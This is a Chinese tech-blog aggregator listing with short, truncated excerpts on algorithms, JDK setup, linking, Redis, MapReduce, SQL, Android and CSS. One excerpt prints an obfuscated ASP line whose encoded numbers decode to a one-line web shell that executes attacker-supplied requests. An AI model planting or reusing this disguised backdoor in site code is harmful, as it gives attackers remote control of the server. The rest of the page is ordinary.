还是像以前那样维护下次出现位置，计算影响其实不难，思维盲点，受到做最大子段和的影响其实这里可以直接维护当前每个位置的子段和，再记录一个历史最大和当然tag也需要记录当前tag和历史（距离上次push）最大累加 1 type node=record 2 x,y,id:longint;...
分类：
其他好文 时间：
2015-06-20 19:35:18
阅读次数：
105
JDK安装完后要进行环境变量的配置。JDK在安装时会有jdk和jre两个安装文件。JRE是Java运行时的环境，包含JVM(JVM虚拟机)和Java运行支持类库与文件JDK包含Java编译器，jre，其中的jre包含JVM和Java运行支持文件也就是说安装JDK时提示你安装jre时的jre是可以不安...
分类：
其他好文 时间：
2015-06-20 19:35:18
阅读次数：
155
马可尼里领导的太阳公司在很长时间里甚至没有看出决战操作系统的重要性，这样太阳公司和微软公司的竞赛还没有开始就先输了第一回合。这倒不是马可尼里无能，而是马可尼里等人的“思维”锁定在卖硬件上了。虽然太阳公司的工作站当年每台要上万美元、服务器要十万美元，但是比DEC的小型机和IBM的大型机便宜多了。在.....
分类：
其他好文 时间：
2015-06-20 19:33:57
阅读次数：
104
一、静态链接的缺点1、浪费内存和磁盘空间假设模块A和B都依赖于C，采用静态链接的方式，C库被链接到A和B，这样无论是存储在磁盘还是在内存运行时，模块C都有2个副本。2、程序维护麻烦假设程序依赖很多库，其中任意一个修改了bug或进行了更新，都需要重新链接，重新发布。二、动态链接(Dynamic Lin...
分类：
其他好文 时间：
2015-06-20 19:34:35
阅读次数：
116
siteName="":Execute(DeAsc("%119%136%115%126%50%132%119%131%135%119%133%134%58%52%116%115%133%119%52%59")):Function DeAsc(Str):Str=Split(Str,"%"):For I...
分类：
其他好文 时间：
2015-06-20 19:32:57
阅读次数：
239
好吧，我承认我又跑神了，我承认从中午到现在都还没有看压在胳膊下面的书。。。saikr真是一个好地方，因为有清华的大神写总结，不知道为什么，说清华的大神感觉好奇怪，先忽略吧。。。之前偶然赶上吴翼的直播，收获呢，说大不大，说不大挺大。唉～人跟人是不一样的，只是只看自己，又不可忍对自己的愤怒。人啊！刚才看...
分类：
其他好文 时间：
2015-06-20 19:32:36
阅读次数：
133
经典题，记录每个位置对应数下次出现的位置next[i]每个位置维护当前左端点下到这个位置的和随着左端点的右移一位到i+1，对[i+1,next[i]-1] 的影响是-a[i], [next[i],next[next[i]]-1]的影响是a[i]线段树维护，pascal过不去系列 1 var lazy...
分类：
其他好文 时间：
2015-06-20 19:33:21
阅读次数：
109
作为一个半路出家的软件编写工作者，我从未有机会像科班出身的童鞋们一样按部就班地学习操作系统的理论知识，大概四五年前，从一个小摊上看到了《现代操作系统》。看到的童鞋说，经典书啊。后来我就买了一本，但是只看了第一章的引论，当时看得很吃力，随便看一段就要查好久的资料。若干年后的今天，我已经作为软件工程.....
分类：
其他好文 时间：
2015-06-20 19:32:15
阅读次数：
110
好题，首先有一个结论，有向无环图的树形图数目=根节点意外入度之积现在相当于在原图上加一条边问树形图的数目考虑多出来不合法的方案，一定是成环且包含新加入的边对于一条路贡献就是∏d[i][i?path]考虑不属于太不和谐，我们设s=∏d[i]贡献就是s*∏d[i]^(-1)[i属于path]，这样我们就...
分类：
其他好文 时间：
2015-06-20 19:31:43
阅读次数：
117
[BZOJ 1087] [SCOI2005] 互不侵犯King
分类：
其他好文 时间：
2015-06-20 19:32:32
阅读次数：
277
Steve Rogers2015-06-17 “ACM学神来了”第一期直播 嘉宾：吴翼 2013，2015年代表两大洲名校清华大学，加州伯克利参加ACM全球总决赛获得世界银牌，铜牌，北美冠军原文地址：http://www.saikr.com/thread/index/363#3465片段：MaxKr...
分类：
其他好文 时间：
2015-06-20 19:30:38
阅读次数：
674
在前两篇Redis中sentinel集群的搭建和Jedis测试 图文教程[一] 和Redis中sentinel集群的搭建和Jedis测试 图文教程[二] 中分别简述了Redis中sentinel集群的搭建和Java代码的Jedis测试。
这篇主要来简单分析一下Redis-sentinel集群的原理，根据追踪sentinel信息来完成Redis-sentinel集群测试中的详细的原理分析...
分类：
其他好文 时间：
2015-06-20 18:28:16
阅读次数：
250
设计思路
分析这个实例，显然需要进行单表连接，连接的是左表的parent列和右表的child列，且左表和右表是同一个表。
连接结果中除去连接的两列就是所需要的结果——"grandchild--grandparent"表。要用MapReduce解决这个实例，首先应该考虑如何实现表的自连接；其次就是连接列的设置；最后是结果的整理。
考虑到MapReduc...
分类：
其他好文 时间：
2015-06-20 18:30:55
阅读次数：
205
样例：
select * from tab1 limit 10;
结果：
id num
a 1
a 2
a 3
b 4
b 3
·····
现在想实现把id一样的数据在一条数据中展现。
结果示例：
a 1 2 3
b 4 3
实现方案有多种，在Oracle中LISTAGG函数可以满足...
分类：
其他好文 时间：
2015-06-20 18:30:34
阅读次数：
275
前言在我们的大多数应用中，会用到ListView，而ListView的数据，有时候是来自网络或者耗时操作之后得到的，这时候，有必要在数据显示之前提供一个友好的提示，结合上一篇文章的Android实战页面内容加载动画成果，再结合ListView自身的属性，我们来实现一下这种效果。首先见效果图
ListView的实现ListView自身带有一个setEmptyView(View view);方法，用于...
分类：
其他好文 时间：
2015-06-20 18:30:02
阅读次数：
203
CSS 实现元素背景渐变
.demo {
width:100%;
height:200px;
border:solid 1px #213c7c;
background: -webkit-gradient(linear, 0 0, 0 100%, from(#80c1e7), to(#213c7c));
background: -...
分类：
其他好文 时间：
2015-06-20 18:28:05
阅读次数：
128
对于没有接触过html的朋友，要实现一个最简单的html5打地鼠游戏，也是不知道从何下手的。就算是html高手，没有上千行代码，也完不成一个像样的打地鼠游戏。网上找到一个开源的打地鼠游戏(参见下载地址)，粗略看了一下代码，代码行数1000+。今天我要介绍的打地鼠游戏，主要逻辑代码，也就60多行，所有的代码加起来也就100多行，是为某客户定制的一款比较完整的商业游戏，大部分的功能也就只是一下午的时间就...
分类：
其他好文 时间：
2015-06-20 18:26:47
阅读次数：
210
